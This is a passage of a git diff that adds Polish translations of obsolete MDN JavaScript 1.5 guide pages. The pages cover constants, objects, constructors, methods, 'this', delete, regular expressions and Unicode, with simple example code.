+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<h3 id="Sta.C5.82e" name="Sta.C5.82e">Stałe</h3>
+<p>Możesz utworzyć stałą (nazwaną i tylko do odczytu) za pomocą słowa kluczowego <code>const</code>. Składnia identyfikatora stałej jest taka sama, jak dla identyfikatora zmiennej: musi zaczynać się literą lub znakiem podkreślenia i obejmować znaki alfabetu lub cyfry.</p>
+<pre>const prefix = '212';</pre>
+<p>Stałe nie mogą podczas wykonywania skryptu zmieniać swojej wartości, ani być ponownie deklarowane.</p>
+<p>Reguły zasięgu dotyczące stałych są takie same jak dla zmiennych, z wyjątkiem tego, że słowo kluczowe <code>const</code> jest wymagane zawsze, nawet dla stałych globalnych. W przypadku braku słowa kluczowego przyjmuje się, że identyfikator oznacza zmienną.</p>
+<p>Nie można deklarować stałych o nazwie identycznej z nazwą zmiennej występującej w zasięgu tej samej funkcji. Na przykład:</p>
+<pre>//TO SPOWODUJE BŁĄD
+function f{};
+const f = 5;
+
+//TO RÓWNIEŻ SPOWODUJE BŁĄD
+function f{
+const g=5;
+var g;
+
+//instrukcje
+}</pre>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Zmienne", "Przewodnik po języku JavaScript 1.5:Literały") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Constants", "es": "es/Gu\u00eda_JavaScript_1.5/Constantes", "fr": "fr/Guide_JavaScript_1.5/Constantes", "ja": "ja/Core_JavaScript_1.5_Guide/Constants", "ko": "ko/Core_JavaScript_1.5_Guide/Constants" } ) }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html
new file mode 100644
index 0000000000..64b164df13
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_metod/index.html
@@ -0,0 +1,48 @@
+---
+title: Definiowanie metod
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Definiowanie_metod" name="Definiowanie_metod">Definiowanie metod</h3>
+<p>Funkcja
+ <i>
+ method</i>
+ jest funkcją łączącą z obiektem. Definiujesz metodę w ten sam sposób jak definiujesz standardową funkcje. Użyj następującej składni do połączenia funkcji z istniejącym obiektem:</p>
+<pre>object.methodname = function_name
+</pre>
+<p>gdzie: <code>object</code> jest to istniejący obiekt, <code>methodname</code> jest nazwą przydzielonej metody i <code>function_name</code> jest nazwą funkcji.</p>
+<p>Możesz nazwać metodę w kontekście obiektu jako następujące:</p>
+<pre>object.methodname(params);
+</pre>
+<p>Możesz definiować metody dla typów obiektu włączając do tego definiowanie metody w funkcji konstruktora obiektowego. Na przykład, możesz zdefiniować funkcję która będzie formatowała i wyświetlała własności poprzednio-definiowanych obiektów <code>car</code>, na przykład:</p>
+<pre>function displayCar() {
+ var result = "A Beautiful " + this.year + " " + this.make
+ + " " + this.model;
+ pretty_print(result);
+}
+</pre>
+<p>gdzie: <code>pretty_print</code> jest funkcją wyświetlającą wg poziomej reguły i łańcuch znaków. Uwaga przy użyciu <code>this</code> odnoszącego się do obiektu, do której metody należą.</p>
+<p>Tworzymy funkcję metody <code>car</code>, poprzez dodanie instrukcji:</p>
+<pre>this.displayCar = displayCar;
+</pre>
+<p>Do definicji obiektu. Więc, pełna definicja <code>car</code> będzie wyglądała jak</p>
+<pre>function car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+ this.displayCar = displayCar;
+}
+</pre>
+<p>Teraz możemy nazwać metodę <code>displayCar</code> dla każdego następującego kodu:</p>
+<pre>car1.displayCar()
+car2.displayCar()
+</pre>
+<p>Efektem będzie produkcja wyjściowa następującego przykładu.</p>
+<p><img alt="Grafika:Obja.gif"><br>
+ <small><b>Przykład: Wyświetlanie metody po jej wykonaniu</b></small></p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html
new file mode 100644
index 0000000000..e52ead3f93
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/definiowanie_własności_typu_obiektu/index.html
@@ -0,0 +1,19 @@
+---
+title: Definiowanie własności typu obiektu
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_własności_typu_obiektu
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Definiowanie_w.C5.82asno.C5.9Bci_typu_obiektu" name="Definiowanie_w.C5.82asno.C5.9Bci_typu_obiektu">Definiowanie własności typu obiektu</h3>
+<p>Dodaj własność do poprzednio zdefiniowanego typu obiektu stosując własności <code>prototype</code>. Zdefiniuje te własności, które współdzielą wszystkie obiekty określonego typu, raczej niż tylko jeden przypadek obiektu. Następnie dodajemy kod własności <code>color</code> do wszystkich obiektów typu <code>car</code> i potem przydziela wartość do własności <code>color</code> obiektu <code>car1</code>.</p>
+<pre>Car.prototype.color=null;
+car1.color="black";
+</pre>
+<p>Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function#W.C5.82asno.C5.9Bci">własności <code>prototype</code></a> z funkcji obiektu w <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">dokumentacji języka JavaScript</a>, aby uzyskać dodatkowe informacje.</p>
+<div class="noinclude">
+  </div>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html
new file mode 100644
index 0000000000..c7d904e907
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/indeksowanie_własności_obiektu/index.html
@@ -0,0 +1,16 @@
+---
+title: Indeksowanie własności obiektu
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Indeksowanie_własności_obiektu
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Indeksowanie_w.C5.82asno.C5.9Bci_obiektu" name="Indeksowanie_w.C5.82asno.C5.9Bci_obiektu">Indeksowanie własności obiektu</h3>
+<p>W JavaScripcie 1.0 możesz odwołać się do własności obiektu poprzez nazwę własności lub jej indeks porządkowy. Jednakże w JavaScripcie 1.1 i późniejszych, jeśli zdefiniujesz początkowo własność poprzez jej nazwę, musisz zawsze odwoływać się do niej poprzez nazwę, zaś jeśli zdefiniujesz własność poprzez indeks, musisz zawsze odwoływać się do niej poprzez ten indeks.</p>
+<p>Dotyczy to sytuacji, gdy tworzysz obiekt i jego własności poprzez funkcję konstruktora, tak jak w powyższym przykładzie obiektu typu Auto oraz gdy definiujesz samodzielnie własności w sposób jawny (na przykład <code>mojeAuto.kolor = "czerwony"</code>). Dlatego jeśli definiujesz początkowo własności obiektu z indeksem, tak jak <code>mojeAuto{{ mediawiki.external(5) }} = "25 mpg"</code>, możesz później odwołać się do własności poprzez <code>myCar{{ mediawiki.external(5) }}</code>.</p>
+<p>Wyjątkiem od tej reguły są obiekty zaczerpnięte z języka HTML, jak na przykład tablica <code>forms</code>. Możesz zawsze odwoływać się do obiektów w tych tablicach zarówno poprzez ich liczbę porządkową (w zależności od tego, w jakiej kolejności pojawiają się w dokumencie) lub poprzez ich nazwę (jeśli jest zdefiniowana). Przykładowo, jeśli drugi znacznik <code>&lt;FORM&gt;</code> w dokumencie posiada atrybut <code><b>NAME</b></code> o wartości "mojFormularz", możesz się odwołać do formularza przez <code>document.forms{{ mediawiki.external(1) }}</code> lub <code>document.forms{{ mediawiki.external('\"mojFormularz\"') }}</code> lub też <code>document.mojFormularz</code>. {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów:Zastosowanie konstruktorów funkcji", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów:Definiowanie własności typu obiektu") }}</p>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html
new file mode 100644
index 0000000000..44ccf12523
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/index.html
@@ -0,0 +1,22 @@
+---
+title: Tworzenie nowych obiektów
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Tworzenie_nowych_obiekt.C3.B3w" name="Tworzenie_nowych_obiekt.C3.B3w">Tworzenie nowych obiektów</h3>
+<p>JavaScript ma liczbę obiektów predefiniowanych. W dodatku, możesz tworzyć swoje własne obiekty. W JavaScript 1.2 i późniejszych wersjach, możesz tworzyć obiekt używając inicjatora obiektu. Alternatywą, jest pierwszy tworzony konstruktor funkcji i następna instancja używanego obiektu funkcji i operatora <code>new</code>.</p>
+<ul>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjacji obiektu</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_konstruktor%c3%b3w_funkcji">Używanie konstruktorów funkcji</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Indeksowanie_w%c5%82asno%c5%9bci_obiektu">Indeksowanie własności obiektu</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_w%c5%82asno%c5%9bci_typu_obiektu">Definiowanie własności typu obiektu</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_metod">Definiowanie metod</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_'this'_do_obiektu_referencji">Używanie <code>this</code> do obiektu referencji</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_metod_pobierania_i_ustawiania">Definiowanie metod pobierania i ustawiania</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Usuwanie_w%c5%82asno%c5%9bci">Usuwanie własności</a></li>
+</ul>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html
new file mode 100644
index 0000000000..ade0f3875e
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/usuwanie_własności/index.html
@@ -0,0 +1,26 @@
+---
+title: Usuwanie własności
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Usuwanie_własności
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Usuwanie_w.C5.82a.C5.9Bciwo.C5.9Bci" name="Usuwanie_w.C5.82a.C5.9Bciwo.C5.9Bci">Usuwanie właściwości</h3>
+<p>Możesz usunąć właściwość używając operatora <code><b>delete</b></code> Poniższy kod pokazuje jak usunąć właściwość.</p>
+<pre>//Tworzymy nową własność, myobj, z właściwościami a i b.
+myobj = new Object;
+myobj.a=5;
+myobj.b=12;
+
+//Usuwamy właściwość, opuszczając myobj z właściwością tylko b.
+delete myobj.a;
+</pre>
+<p>Możesz także użyć <code><b>delete</b></code> do usunięcia globalnych zmiennych jeśli słowo kluczowe <code><b>var</b></code> nie było użyte do zadeklarowania zmiennej:</p>
+<pre>g = 17;
+delete g;
+</pre>
+<p>Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne#delete">delete</a> aby uzyskać więcej informacji.</p>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html
new file mode 100644
index 0000000000..b1b38112d9
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/używanie_inicjacji_obiektu/index.html
@@ -0,0 +1,36 @@
+---
+title: Używanie inicjacji obiektu
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Używanie_inicjacji_obiektu
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+---
+<h3 id="Zastosowanie_inicjacji_obiektu" name="Zastosowanie_inicjacji_obiektu">Zastosowanie inicjacji obiektu</h3>
+
+<p>Uzupełnieniem możliwości tworzenia obiektów poprzez konstruktora funkcji, jest inicjator obiektów. Używanie inicjatora obiektów jest czasami wiązane z tworzeniem obiektów poprzez oznaczanie literowe. "Inicjator obiektu" jest nazwą zaczerpniętą ze standardów języka C++.</p>
+
+<p>Składnia tworząca obiekt, używając inicjatora obiektu jest następująca:</p>
+
+<pre>objectName = {własność1:wartość2, własność2:wartość2,..., własnośćN:wartośćN}
+</pre>
+
+<p>gdzie objectName jest nazwą obiektu, każda własność jest identyfikatorem (nazwą, liczbą lub ciągiem znaków) a każda wartość jest wyrażeniem, którego wartość jest przypisana do własności. objectName jak i przypisanie są opcjonalne. Jeśli w pozostałej części kodu nie potrzebujesz odwoływać się do tego obiektu, nie musisz go przypisywać do zmiennej.</p>
+
+<p>Jeśli obiekt został utworzony z użyciem inicjatora obiektu w głównym skrypcie, JavaScript interpretuje go za każdym razem, gdy ten przetwarza wyrażenie zawierające literał obiektu. Dodatkowo, inicjator użyty w funkcji, jest tworzony przy każdym jej wywołaniu.</p>
+
+<p>Poniższa instrukcja tworzy obiekt i przypisuje go do zmiennej x, tylko w przypadku, gdy warunek jest prawdziwy.</p>
+
+<pre>if (warunek) x = {a:"witaj"}
+</pre>
+
+<p>Poniższy przykład tworzy obiekt mojaHonda z trzema własnościami. Należy zwrócić uwagę, iż silnik jest również obiektem z jego własnymi własnościami.</p>
+
+<pre>mojaHonda = {kolor:"czerwony", koła:4, silnik:{ilośćCylindrów:4, objętość:2.2}}
+</pre>
+
+<p>Inicjatorów możesz użyć również do tworzenia tablic. Zobacz <a href="/pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.c5.82y_tablicy" title="pl/Przewodnik po języku JavaScript 1.5/Literały#Litera.c5.82y tablicy">literały tablic</a>.</p>
+
+<p>JavaScript 1.1 i wcześniejsze. Nie możesz używać inicjatorów obiektów. Możesz tworzyć obiekty tylko używając ich konstruktorów lub funkcji udostępnianych przez inne obiekty w tym celu. Zobacz <a href="/pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji" title="pl/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji">Zastosowanie konstruktorów funkcji</a>.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html
new file mode 100644
index 0000000000..2b4ad01835
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_'this'_do_obiektu_referencji/index.html
@@ -0,0 +1,32 @@
+---
+title: Zastosowanie 'this' do obiektu referencji
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_'this'_do_obiektu_referencji
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Zastosowanie_this_do_obiektu_referencji" name="Zastosowanie_this_do_obiektu_referencji">Zastosowanie <code>this</code> do obiektu referencji</h3>
+<p>JavaScript posiada specjalne słowo kluczowe <code>this</code>, które możemy użyć wewnątrz metody wskazującej nam aktualny obiekt. Na przykład: przypuśćmy, że mamy funkcję nazywającą się <code>validate</code>, która waliduje wartość własności obiektów, nadając im wartość wyższą lub niższą:</p>
+<pre>function validate(obj, lowval, hival) {
+ if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+ alert("Invalid Value!")
+}
+</pre>
+<p>Następnie, możesz nazwać/powiedzieć, że funkcja <code>validate</code>, w każdym elemencie formularza, <code>onChange</code> posiada uchwyt, którego używa do przejścia do określonego elementu <code>formularza</code>, jak w następującym przykładzie:</p>
+<pre>&lt;INPUT TYPE="text" NAME="age" SIZE=3
+ onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p>Generalnie, <code>this</code> jest referencją do nazwy obiektu w metodzie.</p>
+<p>Kiedy połączymy właściwości <code>form</code>, <code>this</code> który potrafi się odwołać do bieżącego obiektu formularza będącego jego 'rodzicem'. W poniższym przykładzie, formularz <code>myForm</code> składa się z obiektu <code>Text</code> oraz przycisku. Kiedy użytkownik kliknie przycisk, wartość obiektu <code>Text</code> jest ustawiana do nazwy formularza. Przyciski wywołują uchwyt zdarzenia <code>onClick</code> poprzez zastosowanie <code>this.form</code> w celu wskazania formularza będącego 'rodzicem', <code>myForm</code>.</p>
+<pre>&lt;FORM NAME="myForm"&gt;
+Form name:&lt;INPUT TYPE="text" NAME="text1" VALUE="Beluga"&gt;
+&lt;P&gt;
+&lt;INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
+ onClick="this.form.text1.value=this.form.name"&gt;
+&lt;/FORM&gt;
+</pre>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html
new file mode 100644
index 0000000000..1c5d6cdbda
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_nowych_obiektów/zastosowanie_konstruktorów_funkcji/index.html
@@ -0,0 +1,62 @@
+---
+title: Zastosowanie konstruktorów funkcji
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Zastosowaniem_konstruktor.C3.B3w_funkcji" name="Zastosowaniem_konstruktor.C3.B3w_funkcji">Zastosowaniem konstruktorów funkcji</h3>
+<p>Alternatywnie, możesz utworzyć obiekt w dwóch krokach:</p>
+<ol>
+ <li>Zdefiniować typ obiektu poprzez napisanie konstruktora funkcji.</li>
+ <li>Utworzyć natychmiast nowy obiekt.</li>
+</ol>
+<p>Do zdefiniowania typu obiektu, tworzymy funkcję dla typu obiektu który określa nazwę, właściwości i metody. Na przykład, sądząc, że chcesz utworzyć typ obiektu dla samochodów. Chcesz ten typ obiektu nazwać <code>car</code> i chcesz posiadać właściwości do zrobienia <code>make</code> , <code>model</code>, <code>year</code> i <code>color</code>. Aby to zrobić, powinieneś napisać następującą funkcje:</p>
+<pre>function car(make, model, year) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+}
+</pre>
+<p>Uwaga, użycie <code>this</code> pozwala wartości własności obiektów opartych na wartościach pasujących do tej funkcji.</p>
+<p>Teraz możesz utworzyć obiekt nazwany <code>mycar</code> w następującym kodzie:</p>
+<pre>mycar = new car("Eagle", "Talon TSi", 1993);
+</pre>
+<p>Instrukcja ta tworzy <code>mycar</code> i dopuszcza to do określonych wartości. Potem wartość <code>mycar.make</code> jest łańcuchem "Eagle", <code>mycar.year</code> jest liczba całkowita 1993, w ten sposób<b>(?)</b>.</p>
+<p>Utwórz jakis numer obiektu <code>car</code> nazywając <code>new</code>. Na przykład,</p>
+<pre>kenscar = new car("Nissan", "300ZX", 1992);
+vpgscar = new car("Mazda", "Miata", 1990);
+</pre>
+<p>obiekt posiada właściwość która sama w sobie posiada jeszcze jeden obiekt. Na przykład; przypuśćmy, że zdefiniujemy obiekt nazwany następująco <code>person</code>:</p>
+<pre>function person(name, age, sex) {
+ this.name = name
+ this.age = age
+ this.sex = sex
+}
+</pre>
+<p>i potem przypisze nowe obiekty <b>person</b> jako następujące:</p>
+<pre>rand = new person("Rand McKinnon", 33, "M");
+ken = new person("Ken Jones", 39, "M");
+</pre>
+<p>Potem znów zapisz definicję <b>car</b> włączając własne właściwości, które pobierają obiekt <code><b>person</b></code>, jak następująco:</p>
+<pre>function car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner
+}
+</pre>
+<p>Błyskawiczne nowe obiekty, następnie użyjesz:</p>
+<pre>car1 = new car("Eagle", "Talon TSi", 1993, rand);
+car2 = new car("Nissan", "300ZX", 1992, ken);
+</pre>
+<p>Uwaga, która zamiast przechodzić z wartości literału string lub integer kiedy są tworzone nowe obiekty, powyższe instrukcje dzieją się w obiektach <code>rand</code> i <code>ken</code> jako argumenty dla właściciela. Potem jeśli chcesz przekonać się do nazwy właściciela <code>car2</code> , możesz zaakceptować następujące warunki:</p>
+<pre>car2.owner.name
+</pre>
+<p>Notuj wszystko co możesz zawsze dodać do poprzedniego zdefiniowanego obiektu. Na przykład, instrukcja</p>
+<pre>car1.color = "black"
+</pre>
+<p>dodawaj właściwości <code>color</code> do <code>car1</code>, i przydziel tą wartość "black." Jednakże, to nie wpływa na pozostałe obiekty. Dodaj nową właściwość do wszystkich obiektów tego samego typu, musisz mieć dodaną właściwość do definicji obiektu typu <code>car</code>.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html
new file mode 100644
index 0000000000..e6a76041a3
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/tworzenie_wyrażenia_regularnego/index.html
@@ -0,0 +1,43 @@
+---
+title: Tworzenie wyrażenia regularnego
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_wyrażenia_regularnego
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Tworzenie_wyra.C5.BCenia_regularnego" name="Tworzenie_wyra.C5.BCenia_regularnego">Tworzenie wyrażenia regularnego</h3>
+<p>Wyrażenie regularne możemy skonstruować na jeden z dwóch sposobów:</p>
+<ul>
+ <li>za pomocą literału wyrażenia regularnego, np.</li>
+</ul>
+<pre> re = /ab+c/; </pre>
+<dl>
+ <dd>
+ <dl>
+ <dd>
+ Literały wyrażeń regularnych są kompilowane w czasie czytania skryptu (
+ <i>
+ script evaluation</i>
+ ). Gdy wyrażenie regularne nie będzie się zmieniać, sposób ten zapewni lepszą wydajność.</dd>
+ </dl>
+ </dd>
+</dl>
+<ul>
+ <li>wywołując konstruktora obiektu <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/RegExp">RegExp</a>, np.</li>
+</ul>
+<pre> re = new RegExp("ab+c"); </pre>
+<dl>
+ <dd>
+ <dl>
+ <dd>
+ Użycie konstruktora powoduje kompilację wyrażenia regularnego w czasie wykonywania (
+ <i>
+ runtime</i>
+ ). Użyj konstruktora, jeśli wiadomo, że wyrażenie regularne będzie się zmieniało lub, gdy nie będzie znane i zostanie podane z innego źródła, np. przez użytkownika.</dd>
+ </dl>
+ </dd>
+</dl>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory", "Przewodnik po języku JavaScript 1.5:Zapisywanie wzorca wyrażenia regularnego") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html
new file mode 100644
index 0000000000..38fa6c8d7f
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/unicode/index.html
@@ -0,0 +1,110 @@
+---
+title: Unicode
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Unicode
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p>
+</p>
+<h3 id="Unicode" name="Unicode"> Unicode </h3>
+<p>Unicode jest uniwersalnym standardem kodowania znaków, dzięki któremu można wyświetlać znaki charakterystyczne dla różnych języków. Obejmuje języki Ameryki, Europy, Środkowego wschodu, Afryki, Indii, Azji i języki pacyficzne (ponadregionalne), ale również inne symbole historyczne czy techniczne. Unicode zamienia, konwertuje i wyświetla wielojęzyczne teksty, symbole techniczne i matematyczne a dzięki temu rozwiązuje wiele międzynarodowych problemów językowych w systemach obliczeniowych związanych ze standardami charakterystycznymi dla konkretnych narodów. Jednak nie wszystkie nowoczesne lub archaiczne języki są obecnie wspierane.
+</p><p>Zestaw znaków Unicode może być używany praktycznie we wszystkich znanych typach kodowania. Unicode jest modelowany podobnie jak w zestawach znaków ASCII (Amerykański standardowy kod wymiany informacji). Używa opisu literowego i liczbowej wartości dla każdego kodowanego znaku. 16 bitowa wartość jest definiowana jako liczba w systemie szesnastkowym wraz z przedrostkiem <b>U</b> na przykład , <b>U+0041</b> przedstawia <b>A</b>, a unikalna nazw dla tej wartości to <b>LATIN CAPITAL LETTER A</b>. </p><p><b>Nie jest wspierany w wersjach JavaScript wcześniejszych niż 1.3.</b> </p>
+<h4 id="Unicode_zgodny_z_ASCII_i_ISO" name="Unicode_zgodny_z_ASCII_i_ISO"> Unicode zgodny z ASCII i ISO </h4>
+<p>Unicode jest zgodny z kodami ASCII i jest wspierany przez wiele programów. Pierwsze 128 znaków Unicode odpowiadają kodom ASCII i mają tę samą wartość bajtu. W Unicode, przykładowo, znaki <i>U+0020</i> i <i>U+007E</i> są równoważne w ASCII znakom <i>0x20</i> i <i>0x7E</i> . Nieco inaczej jest w ASCII, który wspiera łaciński alfabet i używa siedmiobitowego zestawu znaków. Unicode używa szesnastobitowych wartości dla każdego znaku i uwzględnia dziesięć tysięcy znaków. Rozszerzony mechanizm UTF 16, uwzględnia kodowanie miliona znaków więcej, przez używanie 16 bitowych par. </p><p><i>Unicode</i> jest w pełni zgodny z międzynarodowym standardowym ISO/IEC 10646 1; 1993 , który jest podzbiorem ISO 10646 i wspiera ISO Ucs 2, który używa dwu oktetów (dwóch bajtów albo 16 bitów). </p><p>JavaScript i Nawigator wspiera Unicode dzięki czemu można używać w JavaScript-ie niełacińskich, międzynarodowych i lokalnych znaków, oraz specjalistycznych symboli technicznych oraz pozwala kodować wielojęzyczny tekst. Odkąd Unicode jest zgodny z ASCII, programy mogą używać znaków ASCII. W komentarzach używać możemy znaków Unicode nie ASCII, literałów string, identyfikatorów i wcześniejszych wyrażeń, i wyrażeń regularnych JavaScript-u.
+</p>
+<h4 id="Sekwencje_ucieczki_do_Unicode" name="Sekwencje_ucieczki_do_Unicode"> Sekwencje ucieczki do Unicode </h4>
